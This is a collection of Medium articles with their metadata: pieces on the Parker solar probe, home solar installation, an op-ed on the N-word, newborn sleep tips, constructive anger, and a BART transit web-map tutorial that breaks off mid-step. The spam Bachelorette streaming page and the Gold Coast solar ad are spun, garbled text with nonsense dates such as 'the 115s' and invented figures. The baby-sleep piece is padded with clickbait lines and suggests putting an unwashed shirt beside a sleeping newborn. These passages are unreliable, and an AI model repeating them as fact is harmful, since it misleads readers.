The Parker probe will fly through these arms, and scientists hope that it will begin to address the huge gaps in our understanding of the sun.
The corona is observed to be hot. This might not surprise you. But it actually rises in temperature from six thousand degrees at the surface to millions of degrees in the corona. That’s weird. We would expect the atmosphere to fall in temperature as you get farther from the heat source, and the pressure drops, and heat is radiated out to space.
The energy needed to supply this missing heat is only .01% of the total solar power output, but scientists have not completely explained how the energy gets from point A to B. Energy typically flows from hot to cold; not from cold to hot.
The best theories suggest that powerful electric and magnetic fields transport energy from the interior to the far reaches of the atmosphere. Exactly how this works is not fully clear.
For the purpose of aiding in the resolution of this mystery, Stuart Bale from UC Berkeley has equipped the probe with a series of magnometers and sensors to directly read the magnetic fields inside the corona.
There are also instruments to detect the particles whizzing by as the probe plummets through the corona. The probe will be able to identify electrons, protons, various ions, and isotopes of helium. These particles start off in the corona, but end up as a solar wind, expanding into space.
Eugene Parker, for whom the probe was named, first suggested that the corona must be undergoing constant supersonic expansion into the vacuum of space. Scientists confirmed this, but found fast particles traveling more quickly than expected. Something is accelerating them; and whatever it is seems to have something to do with solar activity.
Galileo was the first to observe the sun and notice spots on the surface. We now know the Sun is a tumultuous place, with incredibly strong magnetic field lines laced among explosions, giant arcs (coronal loops), dark spots (coronal holes), mass ejections, and flares that emit everything from radio waves to gamma rays while sending shocks that ripple across the entire solar disk. ‘Fast’ solar wind is often correlated with these events, but little is known about what causes the events themselves.
These are some of the mysteries the Parker probe hopes to answer. | https://medium.com/discourse/the-mysteries-of-the-solar-plasmasphere-3a2c31fdefb5 | ['Brett Holverstott'] | 2020-02-23 00:07:47.213000+00:00 | ['Plasma', 'Sun', 'Astronomy', 'Hydrogen', 'Science'] |
Tips For Installing Solar System At Home | The world is advancing in the investment made in clean energy, a sample of this are the figures set forth by Bloomberg New Energy Finance (Bnef), which show that for 2017 globally $ 333.5 billion was allocated, being “the second highest annual figure in history ”, according to the information presented.
Said interest in clean energy can be taken as an answer to the problems that the planet is facing in environmental terms. Therefore, energies such as solar become an appropriate alternative, not for free some companies such as Celsia expose the benefits of the development of more sustainable real estate projects, that is to say that they integrate photovoltaic panel installations or other technologies capable of producing energy through sunlight.
But what is needed to install a solar panel in an already built house? LR was given the task of consulting with some experts on the subject and brings you some tips to take into account before, during and after the process of installing a solar system.
What must be considered?
One of the most important aspects to consider before taking the step of installing a solar system is the selection of the place. “The recommended thing is not to choose it because one, two, three or 10 days you can see that there is sun on a terrace or in a garden, but because a multiannual solar level consultation is really done, which means how the solar presence has been during several years, in order to give greater assurance that the place is suitable for power generation, ”explained Daniel Chica, an experimental development professional at Cidet.
After knowing if the place is viable for installation, it is necessary to define the type of system that will be used. There are two: on grid and off grid. “The first one is not 100% autonomous, since it must be connected to the conventional energy service,” said Laura Suárez Vega, planning manager at Enercenit. While the off grid is 100% autonomous and according to Vega it is recommended for homes, since it provides the service both day and night.
Main features
According to Suarez, it is necessary to allocate a place that is free of shadows and also has an area of approximately two square meters, since the installation of an airtight closet that allows the safety of equipment and people is projected, so that No child has access.
It is important to keep in mind that the size of the space can vary according to the number of solar panels that are installed in the place, which is determined from the need of daily consumption that each house has. “On average, a Colombian household consumes between 180 kW / h and 200 kW / h,” according to Carlos Yepes, director of ExpoSolar.
How much can it cost?
“The installation of a solar system can be around $ 15 million to $ 20 million, but it all depends on the need of each home. In turn there are offers from $ 3 million but they can be suspicious, ”according to Laura Suárez.
For his part, Yepes said that “today is not the time to install solar panel systems in town houses, since the return on investment is not achieved in the short term. However, if there are people with a wide purchasing power and want to make the investment in these systems due to environmental convictions, it is a good decision, as well as for families in rural or non-interconnected areas ”. In addition, he concluded by recommending that before installing solar systems it is necessary to acquire a culture of responsible consumption of energy, make an inventory of the needs they have, set aside the use of resistors and have appliances with labels that identify them as energy efficient , which are located on the back of the device and have a letter a with an arrow in green.
How solar panels are cleaned
The cleaning of solar panels is essential to maintain their proper functioning. Therefore, it is recommended that they be cleaned three to four times a year. Such cleaning must be carried out rigorously in cities such as Bogotá, since the pollution is greater and can affect the activity of solar panels. Cleaning is basic, since it only requires water, a soft sponge and some detergent recommended by the professional who installed the system. After having the necessary implements, the panels will be scrubbed with a little soap to make the final wash easy.
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The hotly anticipated moderateness for producing sun oriented power is presently over with the most recent solar installation in gold coast. The high capability of these photovoltaic cells has flooded Solar gold coast administration request all through mechanical, business, and private spaces. Various new solar companies in gold coast have likewise developed to contend in the market with energizing ideas to set aside cash and bother through and through. While our solar company in gold Coast is likewise striving to give dependable, sturdy, and moderate sun oriented administrations to make everybody move towards it. | https://medium.com/@ryanrichard797/tips-for-installing-solar-system-at-home-65c9cc2ede1a | ['Ryan Richard'] | 2020-01-14 11:44:54.211000+00:00 | ['Solar Energy', 'Solar Company Gold Coast', 'Solar Companies', 'Solar Gold Coast'] |
Watch Stream The Bachelorette 2020 (S16E13) “Week 13” (Full Episode) on ABC [HD 720p] | New Episode — The Bachelorette Season 16 Episode 13 (Full Episode) Top Show
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🦋 TELEVISION 🦋
(TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports.
TV opened up in unrefined exploratory structures in the last part of the 191s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 1950s, TV was the essential mechanism for affecting public opinion.[1] during the 1915s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 150s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (531i, with 909093 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3451513, 3451513 and 3334. Since 115, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, HBO Video, iPlayer and Hulu.
In 113, 39% of the world’s family units possessed a TV set.[3] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 1990s. Most TV sets sold during the 150s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-115s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 115s.[1][3][8] Smart TVs with incorporated Internet and Web 3.0 capacities turned into the prevailing type of TV by the late 115s.[9]
TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 150s by means of the Internet. Until the mid 150s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 115s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV.
🦋 OVERVIEW 🦋
A subgenre that joins the sentiment type with parody, zeroing in on at least two people since they find and endeavor to deal with their sentimental love, attractions to each other. The cliché plot line follows the “kid gets-young lady”, “kid loses-young lady”, “kid gets young lady back once more” grouping. Normally, there are multitudinous variations to this plot (and new curves, for example, switching the sex parts in the story), and far of the by and large happy parody lies in the social cooperations and sexual strain between your characters, who every now and again either won’t concede they are pulled in to each other or must deal with others’ interfering inside their issues.
Regularly carefully thought as an artistic sort or structure, however utilized it is additionally found in the realistic and performing expressions. In parody, human or individual indecencies, indiscretions, misuses, or deficiencies are composed to rebuff by methods for scorn, disparagement, vaudeville, incongruity, or different strategies, preferably with the plan to impact an aftereffect of progress. Parody is by and large intended to be interesting, yet its motivation isn’t generally humor as an assault on something the essayist objects to, utilizing mind. A typical, nearly characterizing highlight of parody is its solid vein of incongruity or mockery, yet spoof, vaudeville, distortion, juxtaposition, correlation, similarity, and risqué statement all regularly show up in ironical discourse and composing. The key point, is that “in parody, incongruity is aggressor.” This “assailant incongruity” (or mockery) frequently claims to favor (or if nothing else acknowledge as common) the very things the humorist really wishes to assault.
In the wake of calling Zed and his Blackblood confidants to spare The Bachelorette, Talon winds up sold out by her own sort and battles to accommodate her human companions and her Blackblood legacy. With the satanic Lu Qiri giving the muscle to uphold Zed’s ground breaking strategy, The Bachelorette’s human occupants are subjugated as excavators looking for a baffling substance to illuminate a dull conundrum. As Talon finds more about her lost family from Yavalla, she should sort out the certainties from the falsehoods, and explain the riddle of her legacy and an overlooked force, before the world becomes subjugated to another force that could devour each living being.
Claw is the solitary overcomer of a race called Blackbloods. A long time after her whole town is annihilated by a pack of merciless hired soldiers, Talon goes to an untamed post on the edge of the enlightened world, as she tracks the huggers of her family. On her excursion to this station, Talon finds she has a strange heavenly force that she should figure out how to control so as to spare herself, and guard the world against an over the top strict tyrant. | https://medium.com/@hsa3d7/the-bachelorette-s16e013-series-16-episode-13-abc-tv-2020-9fdd1bf0abf1 | [] | 2020-12-22 02:37:54.127000+00:00 | ['TV Series', 'Startup', 'TV Shows', 'Reality'] |
The N-Word Should Be Indiscriminately Censored | The N-Word Should Be Indiscriminately Censored
Dismantling the double standard associated with this term
Source: Business Insider
Not long ago, Kendrick Lamar was surrounded by some controversy over the use of the term ‘Nigga’. During the Hangout festival in Alabama last year, the rapper called up one of his fans on stage to sing along to M.A.A.D. City — a song from his album titled ‘Good Kid M.A.A.D. City’. For those who do not know the song, it is riddled with the use of this word. The term alone occurs 15 times in the song’s lyrics.
The fan who chose not to censor this term while singing along to the song got booed by the crowd and berated by Kendrick himself because she was white, and she wasn’t allowed to use that word. I detect a double standard here because, had the fan been black, it wouldn’t have been an issue. Kendrick himself wrote that song, made millions of dollars off it, had no issues using the word but thought it was okay to ask someone who paid to come and see his performance not to sing all the lyrics because they are white, and it is offensive to black people? Not at all! I believe Kendrick Lamar was being hypocritical.
If he doesn’t want people to use that word, then he should lead by example. He should not take it upon himself to censor certain paying fans from singing his own lyrics just because they are white. After all, they paid for a ticket like everyone else and should be treated the same.
I myself am a big fan of Kendrick — I paid £80 to attend his concert at Manchester Arena back in March last year and the venue was largely dominated by non-blacks. Everyone sang along to the songs, black and white alike. And although it felt surreal to hear the crowd singing along to these lyrics, I wasn’t offended by the fact that all these white people were using the word ‘Nigga’ because the word was being used strictly in the context of the song lyrics and not maliciously towards another individual.
My own stance on the issue is that the term should not be used by anyone at all — be they black or white. The argument that black people have reclaimed its use to add impact to lyrics is complete nonsense to me. Why would anyone trivialise such a derogatory term which is deeply rooted in the enslavement of generations of black people just to add impact to a song? It doesn’t make sense. The English Language isn’t so limited that one must depend on racial slurs to write impactful lyrics. There would be an uproar — and rightly so — if Drake used the term ‘Jew bag’ in any of his songs. No one would give him a pass just because he is a Jew. In fact, he would probably receive even more criticism because of his Jewish heritage.
Since a lot of young people look up to Kendrick Lamar and other rappers, they have a responsibility to make sure that they are leading by example and passing on the right message to young impressionable minds. Implementing a double standard towards the use of derogatory words in their song lyrics is not the way to go. | https://medium.com/self-ish/the-word-nigga-should-be-indiscriminately-censored-dismantling-the-double-standard-66fc86f1d3f6 | [] | 2019-02-02 06:06:00.742000+00:00 | ['Race', 'Advocacy', 'Censorship', 'Music'] |
Best steps on get your baby to sleep without being held | Best steps on get your baby to sleep without being held Toptag Sep 7·4 min read
Baby sleep
How to Get Newborn to Sleep without Being Held
I know how much responsibility you have now being a mom of a newborn baby! As a new parent, you’re already facing a different kind of problems. Among them, I think, getting your baby to sleep is in the top of the list. So let me help you to solve this problem.
When you’re having lots of stuff to do for the baby, you need to get free from your baby. For that, it’s a good thing to learn how to get newborn to sleep without being held. It’ll help you to take your rest for a while and do your other jobs at night. So let’s start with the solution!
Steps on how to get newborn to sleep without being held
Step 1- Keep your baby busy during the day
Play with your baby, talk to him and make funny faces. Rub his feet, play music and keep him busy. Your baby can have a little doze during the day but wake him up as soon as possible. As you need to keep him asleep at night so keep him awake during the day.
Step 2- Engage your baby with calm activities in the evening
When the evening comes with the end of the daytime, play with your child in a calm and quiet environment. Engage him with calm activities. Spend the time with your baby by feeding or bathing and make the sleepy environment.
27-second trick INSTANTLY puts babies to rest and helps them sleep through the night
Step 3- Maintain the bedtime routine
You can do anything with your baby before the bedtime. But try to maintain the routine. Like- if you feed your baby before sleeping time then do it every day in the evening before the bedtime. Maintain the bedtime ritual so that the baby fall asleep at night. FYI, maintaining the bedtime routine has more values than just sleeping.
Both mom and dad should do it in the alternative day. This is because if he gets used to with only mom, then he won’t get asleep when mom is not available.
Step 4- Put the baby to crib or bassinet before getting asleep
After the long tiring day, your baby will get asleep soon. Initially, he dozes. At that moment put your kid in the crib or a suitable bassinet you have. If you start jiggling the crib now, he’ll get awake. So wait for a moment to get asleep.
Step 5- Provide a soothing blanket
If you wrap your baby in a small blanket, it’s very soothing. Your baby feels comfortable and sleepy. But don’t cram the crib with stuffed animal, fluffy blanket or more things to make the environment suffocating for your children. Finally, provide a soother but ensure the comfort of your baby.
Child Psychologist Reveals Baby Sleep Secret 2021
Step 6- Move your baby in rhythmic motion
Put your baby in the crib and move it or jiggle it after getting asleep. This rocking movement is relaxing to your child. This is because, when your baby was in the womb, he used to get bounced gently. Thus, he is comfortable with this movement. So put your baby down and gently move the crib in the rhythmic motion.
Step 7- Snuggled up with soft cloth
As your baby was in the womb for a long time so if you snuggle up with the cloth, he can feel the same environment like the womb. Besides, it helps them to stay calm and quiet. Moreover, many kids make themselves awake by flinging out their legs or arms. So this Swaddling helps your baby to have a sound and soothing sleep.
Step 8- Rub arms and legs
To make him dozy and help to drift off, rub his legs and arms gently. It makes him comfortable and soothing to get asleep. According to the Children’s Hospital of Pittsburgh, the secured position to sleep on for the baby is his back. So for the newborn make him sleep on his back.
Step 9- Use the scent of the mom
You don’t know, how to get newborn to sleep without being held? Use this trick. As your baby was in the womb for nine long months, so your smell gives him comfort and security. It helps him to feel your presence wherever you go. So when he drifts off, put one of your unwashed t-shirt or cloth beside him so that he can feel your presence. Thus, your newborn will fall asleep soon and feel more relaxing.
By doing this 1 weird trick, can you really get your baby to sleep in less than one minute
The bottom line
Finally, I think you’ve learned some tricks and solution for getting your baby to sleep and keep yourself free! From now on, I hope you can manage your time to do work on your own and also ensure a sound sleep at night! Good luck!
Source:https://momandbabylab.com/how-to-get-newborn-to-sleep-without-being-held/ | https://medium.com/@toptag520/best-steps-on-get-your-baby-to-sleep-without-being-held-b08f091fc0fb | [] | 2021-09-07 00:09:42.636000+00:00 | ['Babysleephelp', 'Babysleep', 'Babysleeptraining', 'Babysleeproutine', 'Babysleeptips'] |
Our Anger Can Help And Heal | The word anger, by itself has its very own negative vibe to it. Afterall, whenever we hear the word or read the word, I think our mental instincts kick in instantly. We are immediately flashed back to endless amounts of thoughts that are all connected to the very worst memories that we have had when it comes to times in our lives we’ve been angry.
In that journey, I have come to learn a few things. Knowledge that I never would had realized if all the research wasn’t done. The research I have done on this topic has taught me tremendously.
Not all of anger is wasted, negative, or detrimental energy. I have written in the past about anger quite often. Usually touching upon causes of anger, and techniques for dealing with anger, and the accompanied stress that comes accordingly.
Today though, I wanted to touch on something different regarding anger. The fact that experts believe that there are two different and definitive types of anger. Called Constructive and Destructive. To me, that seems to sound like, there’s anger that is either good for you, or one that’s bad. Quite simple, right?
Well, there’s a good chance that out of those two types, we are likely very familiar with the one called destructive. As I sit here, thinking of my experiences with anger, I get the feeling that while it never hurts to put the main focus on either type of anger, the one that may interest more, might likely be the constructive anger. Because after all, who the heck knows a darn thing about constructive, good anger?!
From what I can gather from anger research, the one theme, or label that seems to fit with this kind of anger is, “anger that heals.”
Before I get into this curriculum of constructive anger, just bear in mind that this is information that is growing more and more as time goes on, when it comes to the spotlight being on it. It seems like a subject that grows vigorously over time. I am not the creator of this. I am merely the presenter.
If we can put some focus into anger management as a whole, we can learn to allow anger to become our weapon, as a positive force in which we can start to motivate ourselves.
Ask yourself, where do you want to travel in life, with using anger constructively. First realize that we no longer have to be driven, or pushed by anger. Without our hands on a pedal, or a wheel.
Before we get too far into this new kind of emotion, let’s learn something important. That is, we are not our past. Our destructive, wasteful anger of yesterday, is not where we are travelling today. If we are going to bring to life episodes of destructive anger that’s already once been born, let’s approach it from a learning standpoint.
Take a step back, and look at the big picture. We will have to practice some patience and perhaps mindfulness. We’re not just going to snap our fingers and then find that happy, and constructive anger has magically appeared.
The examples for constructive anger, can be so far on either side of the spectrum. It can be hard to explain, but there is a pretty traditional example that I have seen many times given. It gives a good idea, of just how it can be done. Now, it’s only a minor example. But I think it shows a good standard.
Let’s look at the first date example. If we are immediately seeing negative tendencies that makes us angry, like snobbish, selfish behaviour, it should be easy to suffer a couple hours, casually cutting the date short.
Never having to make that same mistake twice. Let those parts of the date that made us angry be our strength in moving on, and not wasting valuable time with more struggling dates. No harm, no foul.
There are many other examples somewhat along those lines that create perfect examples for using our anger to solidify strong, positive choices based on experiences.
Constructive anger can put together good qualities. They help repair conflict, by first warning us of it, and then allowing us the opportunity to make constructive choices based on the feelings created. At the same time, if we are mindful, we may be able to notice that tension is being relieved.
A lot of internal conflict can repair itself through these experiences as well. I think it also helps with our communication abilities. Our lives are not disrupted either.
Awareness in general is greatly improved, and we might have the ability to sense trouble, before it’s already completely flooding us. In a way, we can develop sixth sense abilities that are born all out of Constructive Anger.
This topic has been a favorite of mine, because who would had ever thought that anger, in any type of way could be good, helpful, constructive, etc etc.
These skills I am learning through these type of lessons are having great effects in my life. I am gaining the ability to be able to not be negatively ruled by anger anymore.
Michael Patanella is a Trenton, New Jersey Author, Publisher, Columnist, Advocate, and Recovering Addict, covering topics of mental health, addiction, sobriety, mindfulness, self-help, faith, spirituality, Smart Recovery, social advocacy, and many other motivational topics. His articles, memoirs, and stories are geared towards being a voice for the voiceless. Helping others out there still struggling. | https://medium.com/indian-thoughts/our-anger-can-help-and-heal-eabecee196a7 | ['Michael Patanella'] | 2019-07-13 22:04:45.194000+00:00 | ['Anger', 'Self Improvement', 'Mental Health', 'Life Lessons', 'Self'] |
Real-time BART Commute Mapping, Part 2: Building a Web Map | Real-time BART Commute Mapping, Part 2: Building a Web Map
Let’s use the Bay Area Rapid Transit (BART) APIs and GTFS-RT data. In this article we’ll use that BART APIs data and the TomTom Maps SDK to create a real-time commute map. Bre Teiko Follow Nov 19, 2020 · 13 min read
In a previous article we discussed the General Transit Feed Specification (GTFS), and saw how Bay Area Rapid Transit (BART) supplied information to applications through APIs available at http://api.bart.gov. We showed how to indicate the command to execute, and the arguments to be supplied to the functions. We presented the format of the station data and the Estimated Time of Departure (ETD) data.
We reviewed sample functions to retrieve the data and display it in a theoretical Express.js application. Today we’re going to make use of those functions in a real application. The application will show information about the BART system on a TomTom map with just a few lines of code.
You can use the following links to review GTFS, the BART program, and the APIs:
You can find information about the TomTom developer program and the SDK at
https://developer.tomtom.com/.
WHAT YOU’LL NEED
To build the application, you’ll need Node.js and the Express builder. After the app is created, we’ll use Visual Studio Code to edit. Follow the links below and make sure you have these installed:
SET UP THE APP
Use the express command in a console window to set up the basic Express app:
The “ — view pug” switch tells the Express builder that we want to use the pug view engine. (See https://pugjs.org/api/getting-started.html for details.)
The next step is to install all the dependencies. Change directory and use npm to do so:
This will take a minute or two. If you see a note about security vulnerabilities, you can usually fix them by running “npm audit fix”:
Now that the basic framework of the app is ready, you can open VS Code to do the editing. Just type “code .” in the window to open the current folder.
We’re going to create a JavaScript file in the javascripts folder, which is where we’ll put our API calls for BART. For simplicity, we’ll put all the other code in the index.pug file. We’ll use the layout.pug file for the links to the supporting stylesheets and JavaScript files for BART and for TomTom. If that seems like a lot, just copy the folder arrangement shown below.
Downloading the TomTom SDK is the next step in getting the app to run and actually show a map.
Go to https://developer.tomtom.com/maps-sdk-web to access the SDK. If you don’t already have a TomTom account, see https://developer.tomtom.com/user/register. You’ll need to register to obtain an API key in order for your map to display.
In the code you receive from the SDK, there will be placeholders for the API key, which you’ll simply replace with your own real key.
GET THE TOMTOM SDK
Download the TomTom SDK from https://developer.tomtom.com/maps-sdk-web/downloads. We’re going to use the vector maps version of the SDK, so click this link:
Extract the SDK into a new folder and add “sdk” to the end:
Drag the sdk folder into the public folder in the VS Code project explorer to import it:
We’ll import the SDK and other files using the shared layout.pug file. Double-click layout.pug and make it look like this:
doctype html
html
head
title= title
link(rel='stylesheet', href='/stylesheets/style.css')
link(rel='stylesheet', href='sdk/map.css')
script(src='sdk/tomtom.min.js')
script(src='javascripts/bart.js') body
block content
Our next step is to create the file named “bart.js,” so close layout.pug now.
CODE THE API
The bart.js file will be our link to the BART APIs. Right-click the javascripts folder and create a new file named bart.js.
First, we’ll get the station details. As we learned in part 1, the API is a set of endpoints that return either xml or json. We’re going to create asynchronous functions that use the “fetch” command to make the call.
GETTING STATION DATA
async function getAllStations() {
let response = await fetch('http://api.bart.gov/api/stn.aspx?cmd=stns&key=MW9S-E7SL-26DU-VV8V&json=y');
let data = response.json();
return data;
}
The api call is “http://api.bart.gov/api/stn.aspx”; the command that we run is “stns”; the key we provided is the public key that doesn’t require registration, “MW9S-E7SL-26DU-VV8V”; and the last argument tells the API that the return should be in json format. We “await” the return from the API call and then use the response.json function to format the data and return it to the caller.
API RETURNS
Let’s take a look at what comes back from the API so we know what we’ll be doing with it.
Refer to part 1 for more details on this. We’ll be using data.root.stations.station for the array of stations in the app.
CODING THE UI
Now let’s return to our code and take a look at calling the API from a page. We’re going to be using index.pug for everything here, for simplicity. Double-click index.pug.
extends layout block content
h1= title
p Welcome to #{title}
The “extends layout” line means layout.pug is automatically included at the top. Pug files use indentation to create hierarchy on a page. This page includes the title as an h1 element and the ‘Welcome to #{title}’ in the content of the page.
ADDING PAGE ELEMENTS
Let’s add some more visual elements to the page. We’ll want a button to make the call to get the station info, and a way to tell the user that it’s done. We’re also going to need the TomTom map. This is how we’ll start:
div p button(onclick='getStations()') Get Stations span(id='gotStations') <br /> div(id='main' class='container') div(id='map' style='height: 100%; width: 100%;')
Note the indentation. We created a div and a paragraph for the button and span with id=’gotStations’, and another div with class ‘container’ to hold the map. The TomTom SDK sets up the map using the element with id=’map’.
We’re going to need some variables to store information — a list for the stations and a quick-lookup dictionary. To create a script in the same .pug file we use the script tag, and everything indented under that tag will be emitted to a <script></script> element:
script(type='text/javascript').
var stationList;
var stationDict = {};
var map = tomtom.map('map', {
key: '<YOUR_TOMTOM_API_KEY>',
source: 'vector',
basePath: '/sdk',
center: {lon: -122.3000, lat: 37.8000},
zoom: 10
});
Now, we’ll move to editing layout.pug to include the tomtom.min.js file, which gives us access to the tomtom object. This is what we’ll use to call all the TomTom-related functions. In this case, it’s ‘map’, which creates the map object using the element with id=’map’. See maps-sdk-web/documentation#L.Map for details.
We’ll need to adjust the css for the ‘container’ class and for the markers we’ll use on the map. Double-click “stylesheets/style.css” and add the following at the bottom:
.icon {
background-size: cover;
height: 30px;
width: 30px;
} .container {
position: relative;
width: 95%;
height: 600px;
}
ADDING CODE
It’s finally time to create the code to use the BART API. Return to the index.pug file and place this code below the variable declarations. Make sure to indent it so it’s within the code block below the variables.
function getStations() {
getAllStations()
.then(function(data) {
stationList = data.root.stations.station;
dictStations();
markDone('station');
});
}
Let’s explore this…
getAllStations()
We call getAllStations in the bart.js file. It’s an async function and there’s an implicit return of a promise so we can handle it when it’s done with “then:”
.then(function(data) { stationList = data.root.stations.station;
That’s where we get the array from the return and store it in our local variable. In a production app, we’d certainly add testing to this pipeline.
dictStations(); markDone('station');
This is a call to a function that turns the list into an object (not yet written), followed by a call to markDone(‘station’), which will display a message that the stations were loaded.
Now let’s add those functions. The dictStations function goes like this:
function dictStations() { if (!stationList) { return; } stationList.forEach(function(item) { stationDict[item.abbr] = item; }); }
This simply creates references in the stationDict object keyed on the unique station.abbr. This allows us to quickly obtain any station without having to search through the list.
Next comes the “markDone” function. We’re going to add “done” to the span next to the button to indicate that the stations were loaded.
function markDone(type) { if (type === 'station') { var marker = document.getElementById('gotStations'); while (marker.firstChild) { marker.removeChild(marker.firstChild); } marker.appendChild(document.createTextNode(" done")) } }
FIRST RUN
Click the Debug button, then click Add Configuration:
You should be able to select Node.js: Launch Program from a list, and when you’re done it should look like this:
"version": "0.2.0", "configurations": [ { "type": "node", "request": "launch", "name": "Launch Program", "program": "${workspaceFolder}\\bin\\www" } ]
You can then press F5 to build and run the application. This will start up Node and load the program in the test server. Launch your browser and load http://localhost:3000/ to view the application.
After you click the “Get Stations” button, you should see the word “done” appear next to the button in your browser:
Now that we know that the stations have been loaded, let’s place a few markers on the map.
ADDING MAP MARKERS
Review the image below as a quick refresher on the data that’s returned from the BART API:
The layout shows the data we want is root.station[x].etd[y].estimate[z]. There are three estimates from the LAKE station to the DALY station. The GREEN line on platform 2, in 4 minutes, the BLUE line on platform 2 in 11 minutes, and the GREEN line again on platform 2 in 19 minutes.
GETTING ETD DATA
We’ll add functions to bart.js to get both the full list of stations and the list for just a particular station:
async function getAllEtd() { let response = await fetch('http://api.bart.gov/api/etd.aspx?cmd=etd&orig=ALL&key=MW9S-E7SL-26DU-VV8V&json=y'); let data = response.json(); return data; } async function getEtdForStation(station) { let response = await fetch(`http://api.bart.gov/api/etd.aspx?cmd=etd&orig=${station}&key=MW9S-E7SL-26DU-VV8V&json=y`); let data = response.json(); return data; }
Now go back to index.pug and place a button with a marker for the page to get the data:
button(onclick='getEtds()') Get Estimates span(id='gotEtds')
Add in variables, to hold the etd info and an array for keeping track of the markers we place:
var etdList; var markers = []; Add in a page function to get all the etd info (place it under the code we wrote earlier): function getEtds() { getAllEtd() .then(function(data) { etdList = data.root.station; markDone('etd'); }); }
Here’s a challenge… add code to the markDone function to handle the ‘etd’ case. Bonus if you refactor it so you don’t have to replicate code for each type. You can then run this to see the “done” message get set for the ETDs.
ADDING STATION MARKERS
We want to show two kinds of markers on the map: markers for stations and markers for the estimated departures. We’ll need the location, an icon, and a message to display on click. Let’s start with a function to place a marker:
function addMarker(location, icon, message) { let marker = new tomtom.L.Marker() .setIcon(icon) .setLatLng(location); if (typeof message !== 'undefined' && message.length > 0) { marker.bindPopup(message); } marker.addTo(map); markers.push(marker); }
TomTom draws some functionality from the open-source Leaflet library, which is available via tomtom.L. The marker is one such item. You can find detailed information on markers at leafletjs.com/reference-1.3.0.html#marker. Marker is a fluent API so we can chain to the .setIcon(icon) and .setLatLng(location) functions.
If we don’t get a message, we don’t want an empty box — so, Marker first checks to see if anything’s there. In the last two lines we add the marker to the map and store a reference in the markers array.
Now let’s call addMarker and show the stations on the map:
function showMarkersForStations() { stationList.forEach(function(station) { addMarker(L.latLng({lat: station.gtfs_latitude, lng: station.gtfs_longitude}), L.icon({iconUrl:'/sdk/images/ic_map_poi_005-black.png'}), 'Station name: ' + station.name + ', abbr:' + station.abbr + '<br /> Lat Lng: ' + station.gtfs_latitude + ':' + station.gtfs_longitude); }); }
We traverse the stationList with forEach and call the addMarker function to create the location, the icon, and the message as needed. See leafletjs.com/reference-1.3.0.html#icon and leafletjs.com/reference-1.3.0.html#latlng for details.
We create LatLng using the latitude and longitude from the station. The icon uses the url to get an image in the SDK. And we pass in some information from the station for the message argument.
Now we need another button to show the markers for the station. We want this in a separate paragraph, so just under the button and the span for etd, add this:
p button(onclick='showMarkersForStations()') Show Stations<br />
Be careful to indent this inside the div and a sibling to the existing p. Rerun the application and click the Show Stations button, and you should see this:
Now we’re going to add something to clear out the markers and show the markers for the different lines. The lines are referred to by color so we’ll traverse the etd array looking for anything with a matching COLOR attribute.
ADDING TRAIN DEPARTURE MARKERS
We have the addMarker function, so all we need to do is pass in a different icon and a different message with the location for the station.
The first step is to create a function that will traverse the etdList. Remember, there’s an array inside an array inside an array to get to the data we want. We want to be able to reuse this for different purposes, so we’ll create a function that accepts a filter function as the only argument:
function showMarkersFiltered(filter) { etdList.forEach(function(item) { // refer to the dictionary to get the station info let station = stationDict[item.abbr]; item.etd.forEach(function(etd) { etd.estimate.forEach(function(est) { if (filter(est)) { // get marker location from the station addMarker(L.latLng({lat: station.gtfs_latitude, lng: station.gtfs_longitude}), L.icon({iconUrl:'/sdk/images/ic_map_poi_040-' + est.color + '.png'}), 'Departing ' + station.abbr + ' platform ' + est.platform + ' ' + est.direction + 'bound in ' + est.minutes + ' minutes'); } }); }); }); }
Here we see the showMarkersFiltered function starting from the etdList and traversing the list with forEach. The top level of the etdList is the departure station, so we use item.abbr to get the station object from the stationDict. After that the function drills down into the etd and estimate levels to get through each of the estimated departures. Then we see it using the filter if (filter(est)) {. Note that it passes to the filter function the current “est” item, which is the lowest level in the dimensions — the estimate. We’re calling back to the function that requested this so it can use whatever criteria is needed to show or not show the marker for that estimate.
Before we move on, let’s take a look at the line that creates the icon:
L.icon({iconUrl:'/sdk/images/ic_map_poi_040-' + est.color + '.png'})
Note that we use the est.color in the name of the icon. I made copies of the ic_map_poi_040-black.png file to create one for YELLOW, GREEN, BLUE, RED, ORANGE, and PURPLE.
Next, we’ll add in a function to call this and supply the necessary filter callback:
function showMarkersForEtd(color) { showMarkersFiltered(function (est) { return (est.color === color); }); }
In the showMarkersForEtd function, showMarkersFiltered takes the est object and checks to see if the est.color matches the color argument passed, returning a Boolean to be used in the if statement.
We also need something to clear out the markers; here are the functions for that (paste them in under the rest of the JavaScript, remembering to indent):
